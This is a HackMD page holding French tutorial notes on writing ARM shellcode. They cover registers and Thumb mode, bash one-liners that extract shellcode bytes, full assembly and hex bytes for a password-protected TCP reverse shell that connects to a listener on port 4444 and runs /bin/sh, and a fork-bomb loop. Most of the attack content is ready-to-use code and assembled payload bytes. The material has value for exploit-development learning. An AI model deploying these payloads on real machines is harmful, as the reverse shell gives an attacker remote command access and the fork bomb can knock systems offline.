HackMD
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # ARM Shellcode writing > :cat: *author* : __A. Whitesmoke#3556__, __RistBS#3185__ [ToC] ## Shellcode Writing Basics Ces notes décrirons certaines techniques comme, comment utiliser une structure en ARM pour un reverse shell ou encore un Password-Protected Reverse Shell. On c'est permis de pas donner énormément de détails car on éstime que ceux qui lise ça on de bonne bases en prog C et asm. **les registes:** - `R0-R10` : Registres généraux - `R11` : Frame Pointer (FP) - `R12` : Intra Procedural Call (IPC) - `R13` : Stack Pointer (SP) - `R14` : Link Register (LR) - `R15` : Program Counter/Instruction Pointer (PC) ARM possède 2 modes, le mode Thumb possèdes des instructions en 16 bits et le mode ARM possèdes des instructions en 32 bits. pour switch en Thumb mode voilà ce qu'il faut faire : ```arm add r0, pc, #1 bx r0 // le code qui suivera sera en thumb mode ``` dans un premier temps on ajoute 1 à PC (Program Counter) puis on met le résultat dans r0. Pour la 2ème instruction on utilisera BX (Branch & Exchange) dans r0. si LSB=1 (bit de poid faible) alors on est en thumb mode. ![](https://i.imgur.com/z7tNUe5.png) plusieurs techniques existent pour parse un shellcode : 1 - utilisation de awk et utilisation de **bash** ```bash= for i in $(objdump -d hello | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g' ``` 2 - utilisation de regex pour le B16 + **ajout des double quotes** ```bash= objdump -d hello |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' ``` 3 - utilisation de **hexdump** et **objcopy** ```bash= objcopy -O binary fichier.bin fichier.dump && hexdump -v -e '"\\""x" 1/1 "%02x" ""' fichier.dump ``` ![](https://i.imgur.com/VUjjIrl.png) ### Reverse Shell in ARM ![](https://i.imgur.com/xbUxAgq.png) voici comment faire une structure en ARM : ```arm adr r1, _sockaddr @ sockaddr struct ... _sockaddr: .hword 2 @ sin_family .hword 0x5c11 // sin_port 4444 .word 0x100007f @ sin_addr 127.0.0.1 .byte 0,0,0,0,0,0,0,0 @ sin_zero ``` puis on utilise dup2() pour faire la redirection des sorties standards. ### Password-Protected Reverse Shell ```arm= .section .text .global _start _start: .arm add r3, pc, #1 bx r3 .thumb mov r0, #2 mov r1, #1 eor r2, r2 mov r7, #200 add r7, #81 svc #1 mov r10, r0 adr r1, target strb r2, [r1, #1] strb r2, [r1, #5] strb r2, [r1, #6] mov r2, #16 add r7, #2 svc #1 push {r1} mov r1, sp mov r2, #4 mov r7, #3 .read_pass: mov r0, r10 svc #1 .check_pass: ldr r3, pass ldr r4, [r1] eor r3, r3, r4 bne .read_pass mov r1, #2 mov r7, #63 .loop_stdio: mov r0, r10 svc #1 sub r1,#1 bpl .loop_stdio adr r0, command eor r2, r2 eor r1, r1 strb r2, [r0, #7] mov r7, #11 svc #1 target: .ascii "\x02\xff" .ascii "\x11\x5c" .byte 127,255,255,1 command: .ascii "/bin/sh?" pass: .ascii "RistBS=aker" ``` si vous le saviez pas, malgé que les registres de r0 à r10 sont des registres pour un usage général, le registre r7 est utilisé pour identifier les NR des syscall. ces caractère ascii `\x02\xff\x11\x5c` montre que nous utilisons le proto TCP en IPv4 sur le port 4444 (port de skid). **Fonction `.read_pass` et `.check_pass` :** pour la fonction read on va juste utiliser la structure C : `read(sourcefd, destbuffer, amount)` `eor r3, r3, r4` = *r3=r3^r4* `bne .read_pass` (Department if Not Equal) équivalement à JNE en x86. Cette instruction va jump à la lecture du mdp si c'est pas égal au premier args passé dans r1. (adresse de r1 récupéré et stocké dans r4) ```bash= as ARM-reverse-shell.s -o ARM-reverse-shell.o && ld -N ARM-reverse-shell.o -o ARM-reverse-shell && objcopy -O binary ARM-reverse-shell ARM-reverse-shell.dump && hexdump -v -e '"\\""x" 1/1 "%02x" ""' ARM-reverse-shell.dump \x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x82\x46\x0e\xa1\x4a \x70\x4a\x71\x8a\x71\x10\x22\x02\x37\x01\xdf\x02\xb4\x69\x46\x04\x22\x03\x27\x50\x46\x01\xdf\x0b\x4b\x0c\x68\x63\x40\xf9\xd1\x02\x21\x3f\x27\x50\x46\x01\xdf\x01\x39\xfb\xd5\x04\xa0\x52\x40\x49\x40\xc2 \x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x7f\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x3f\x53\x35\x39\x21 ``` > Source : https://github.com/alanvivona/pwnshop/blob/master/src/0x15-ARM-shellcode/ARM-reverse-shell-with-auth.s ### Test Final : ForkBomb | NR | Syscall Name | %r7 | arg0 (%r0) | | ---- |:----------------------- | --- | ---- | 2 | fork | 0x02 | - | ```arm .text .global .start .start: .code 32 add r3, pc, #1 bx r3 .code 16 .loop: eor r7, r7 add r7, #2 svc #1 mov r8, r8 bl .loop ``` ![](https://i.imgur.com/GcsZD2P.png) ##### resources utiles : - https://www.youtube.com/watch?v=9tx293lbGuc - https://www.youtube.com/watch?v=c_jUELOScLc

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully